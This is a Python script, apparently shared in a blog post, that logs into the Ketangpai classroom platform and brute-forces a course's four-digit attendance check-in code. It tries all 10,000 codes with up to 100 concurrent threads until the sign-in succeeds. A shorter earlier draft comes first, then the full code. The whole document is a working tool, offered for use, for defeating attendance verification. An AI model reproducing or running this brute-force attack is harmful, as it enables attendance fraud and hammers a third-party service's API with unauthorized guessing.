#token为个人课堂派账号信息
def get_token():
    url = "https://openapiv5.ketangpai.com//UserApi/login"
    head={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"}
    data={"email":username,"password":userpassword,"remember":"0","code":"","mobile":"","type":"login","reqtimestamp":1650284445501}
    response=requests.post(url=url,headers=head,data=data)
    token=response.json()['data']['token']
    return token
token=get_token() 

def get_courses():
    url = "https://openapiv5.ketangpai.com//CourseApi/semesterCourseList"
    head={ "token":token,
          "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"}
    data={"isstudy":"1","search":"","semester":"2021-2022","term":"2","reqtimestamp":1650284447078}
    response = requests.post(url=url, headers=head, data=data)
    courselist = response.json()["data"]
    allcourse = []
    xuhao = 1
    for i in courselist:
        course = {"序号": xuhao, "name": i["coursename"], "id": i["id"]}
        allcourse.append(course)
        xuhao += 1
    for i in allcourse:
        print('序号:',str ({i['序号']})[1:-1].ljust(2),' \t课程名：',str ({i['name']})[2:-2].ljust(2))
    return allcourse

allcourse=get_courses()
yourchoice = int(input("请输入你要考勤的科目序号："))
print(allcourse[yourchoice - 1])
courseid = allcourse[yourchoice - 1]["id"]
print("课程id：",courseid)

if __name__ == '__main__':
    try:
        idd=get_attence()
    except Exception as result_:
        print("该门课程暂无发布考勤信息！！！")
        input()
    print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))#打印本地时间
    try:
        if(post_sign_in(0000)==1):
            input()
            sys.exit()
        else:
            print("正在暴力破解考勤，请稍后")
        #code=input("请输入考勤码：")
        for code in range(0,9999):
            code = '%04d' % code
            t = threading.Thread(target=post_sign_in, kwargs = {"code": code})
            t.start()
    except Exception as restlt:
        if(restlt=="name 'idd' is not defined"):
            print("该门课程暂无发布考勤信息！！！")
        print(restlt)

所有代码

# -*- coding:utf-8 -*-
import logging
import time
import requests
from tornado import concurrent

logging.basicConfig(
    level=logging.INFO,
    format="[%(asctime)s] %(levelname)s: %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S"
)
#该处输入账户密码
username=input("请输入你的课堂派账号：")
userpassword=input("请输入你的课堂派密码：")
#判断是否要关闭所有线程
result = 0
#模拟登录获取token，token为个人课堂派账号信息
def get_token():
    url = "https://openapiv5.ketangpai.com//UserApi/login"
    head={  "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"}
    data={"email":username,"password":userpassword,"remember":"0","code":"","mobile":"","type":"login","reqtimestamp":time.time()}
    response=requests.post(url=url,headers=head,data=data)
    token=response.json()['data']['token']
    return token
token=get_token()
print(token)

#获取所有课程列表
def get_all_courses(token):
    url = "https://openapiv5.ketangpai.com//CourseApi/semesterCourseList"
    headers = {
        "token": token,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"
    }
    data = {
        "isstudy": "1",
        "search": "",
        "semester": "2022-2023",
        "term": "2",
        "reqtimestamp": time.time()
    }
    response = requests.post(url=url, headers=headers, data=data)
    if response.ok:
        courselist = response.json()["data"]
        allcourse = [{"序号": i+1, "name": c["coursename"], "id": c["id"]} for i, c in enumerate(courselist)]
        return allcourse
    else:
        print("请求失败:", response.status_code)
        return None

def select_course(allcourse):
    try:
        yourchoice = int(input("请输入你要考勤的科目序号："))
        if not 1 <= yourchoice <= len(allcourse):
            raise ValueError()
        course = allcourse[yourchoice - 1]
        print(f"你选择的课程是: {course['name']}，课程ID是: {course['id']}")
        return course
    except ValueError:
        print("输入有误，请重新输入")
        return None

#模拟请求的请求头
url="https://openapiv5.ketangpai.com/AttenceApi/checkin"
head={
    "token":token,
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"
}
session = requests.Session()
session.headers.update(head)
flag=0
#进行暴力模拟
def post_sign_in(code):
    global result
    data = {"id": attence_id, "code": code}
    try:
        response = session.post(url=url, data=data, timeout=3)
        message = response.json()["message"]
        if message == "考勤已经结束，无法再签到":
            logging.warning(f"考勤已经结束！！！ {code}")
            result=1
            return 1
        elif message == "访问成功":
            logging.info(f"签到成功！！！签到码为： {code}")
            result=3
            return 3
        elif message == "考勤码不正确，请重新输入":
            logging.warning(f"考勤码不正确 {code}")
            return 2
        else:
            logging.error(f"未知错误 {code}")
            return 2
    except requests.exceptions.RequestException:
        logging.error(f"网络请求出错 {code}")
        return 2
def get_attence(courseid):
    urla = "https://openapiv5.ketangpai.com/SummaryApi/attence"
    data = {
        "courseid": courseid,  # 为课程号
        "page": "1",
        "reqtimestamp": time.time(),
        "size": "10"
    }
    response = session.post(url=urla, data=data, timeout=10)
    attence_id = response.json()["data"]["data"][0]["id"]
    title = response.json()["data"]["data"][0]["title"]
    logging.info(f"获取考勤信息成功，考勤标题为： {title}")
    return attence_id

if __name__ == '__main__':
    #获取所有课程列表
    allcourse = get_all_courses(token)
    #选择对应课程，获得课程id
    for course in allcourse:
        print(course)
    if allcourse:
        selected_course = select_course(allcourse)
        if selected_course:
            courseid = selected_course["id"]
    #获取课程id中最近一次考勤的id
    attence_id = get_attence(courseid)
    #开100个线程池
    executor = concurrent.futures.ThreadPoolExecutor(max_workers=100)
    codes = [f"{code:04d}" for code in range(10000)]
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
        for result in executor.map(post_sign_in, codes):
            if result == 3:#签到成功
                break
    if result == 3:
        print("All threads stopped")